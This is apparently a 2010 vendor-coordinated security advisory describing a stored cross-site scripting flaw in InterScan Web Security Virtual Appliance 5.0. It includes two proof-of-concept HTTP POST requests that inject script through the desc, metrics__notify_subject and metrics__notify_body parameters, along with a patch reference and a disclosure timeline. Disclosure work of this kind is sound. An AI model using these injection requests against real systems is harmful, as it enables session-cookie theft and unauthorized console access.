Advisory Name: Permanent Cross-Site Scripting in InterScan Web Security Virtual Appliance 5.0

Internal Cybsec Advisory Id: 2010-0607

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

Release Date: 01-07-2010

Affected Applications: InterScan Web Security Virtual Appliance 5.0

Affected Platforms: Red Hat nash 5.1

Local / Remote: Remote

Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Researcher: Ivan Huertas

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Permanent Cross Site Scripting vulnerabilities were found in InterScan Web Security Virtual Appliance, because the application fails to sanitize user-supplied input when it inserts a new user.

Proof of Concept:

* Parameters like “desc”, “metrics__notify_body”, metrics__notify_subject are not properly sanitized. Below are proofs of concept of the attacks:

1)
POST /servlet/com.trend.iwss.gui.servlet.MetricSetting HTTP/1.1
Host: xx.xx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

Referer: xx.xx.xx.xx:1812
Cookie: JSESSIONID=95B512A600A8FC9FD989667E4D9DE8B3
Content-Type: application/x-www-form-urlencoded
Content-Length: 628

redirect_page=null&daemonaction=64&metrics__notifyadmin=00000&metrics__virus_threshold=15&metrics__virus_notification_period=30&metrics__spyware_threshold=15&metrics__spyware_notification_period=30&metrics__database_threshold=80&metrics__database_notification_period=30&metrics__hard_disk_threshold=80&metrics__hard_disk_notification_period=30&metrics__bandwidth_usage_threshold=50000&metrics__bandwidth_notification_period=60&**metrics__notify_subject=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2FSCRIPT%3E**&**metrics__notify_body=%25m+has+exceeded+%25t.+%3C%2Ftextarea%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2FSCRIPT%3E%3Ctextarea%3E**

2)
POST /login_account_add_modify.jsp HTTP/1.1
Host: xx.xx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: xx.xx.xx.xx:1812
Cookie: JSESSIONID=8466E24FDCCB840BDE17D972210DA20E
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

op=add&userid=consultor1&password_changed=true&PASS1=xxxx&PASS2=xxxx&**desc=%3Cscript%3Ealert%281%29%3C%2Fscript%3E**&access_rights=reportonly

Other parameters might also be affected.

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the Web console.

Solution:

Apply the patch that can be found in

http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

Vendor Response:

2009-03-26 – Vulnerability was identified
2010-04-09 – Vendor contacted
2010-04-15 – Vendor response
2010-06-21 – Vendor released fixed version
2010-06-30 – Vendor confirmed the solution
2010-07-01 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996 CYBSEC S.A. is devoted exclusively to provide professional services specialized in Computer Security. More than 150 clients around the globe validate our quality and professionalism.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com